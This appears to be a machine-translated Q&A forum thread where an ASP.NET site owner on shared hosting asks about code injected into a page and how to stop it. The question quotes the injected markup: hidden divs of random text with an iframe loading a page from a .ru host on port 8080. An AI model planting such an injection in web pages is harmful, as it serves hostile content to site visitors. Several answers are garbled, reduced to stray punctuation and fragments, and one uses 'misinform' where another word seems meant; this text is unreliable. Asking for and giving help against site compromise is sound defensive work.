They attack me - what can I do?

Question

Someone puts this code on my aspx page.

What are they doing?

How do they do it?

How to stop them?

This is on a shared hosting server.

This is on an aspx content page that has a main page and after the tag </asp:content>...

<div style="display:none">qzfmjsdbknmrmlkszrrcehikeapphqq</div>

<div style="display:none">owhkhminltvnwvegxktzemrszyykcsh</div>

<div style="display:none">cljwdrmbxglllikbjctmpyvcflzxbqk</div>

<div style="display:none">vhhnvchdoxaklqjxlwaqvtgarazwcsx</div>

<div style="display:none">alsbcgosnllreyylgtmblvqwxgpidui</div>

<div style="display:none">yrrzaimkpvimddgirjpuatjzoyovdyq<iframe width=812 height=451 src="http://bionaft.ru:8080/index.php" ></iframe></div>

Answer 1

Take your website offline.

No, I'm serious.

Take it offline and look at all the points that you use with user inputs, and look at your code and misinform each user input and each output. There is a lot of documentation on XSS, Code Injection, etc.

Answer 2

SQL Injection? , - "DECLARE" . ( , SQL Server)

Answer 3

, . Google :

Answer 4

- ? URL? validateRequest false?

Answer 5

aspx, </asp:content>...

, - .aspx ? , ftp ..

, , @squeeks - .

Answer 6

Try exploring the AntiXSS library; pages that are important, turn them off for a while. I believe that you will need to update the code, use AntiXSS in every url; switch all your direct requests to generate requests based on parameters; and than, everything will be under control. In addition, there are many things in google / bing regarding whitelist items.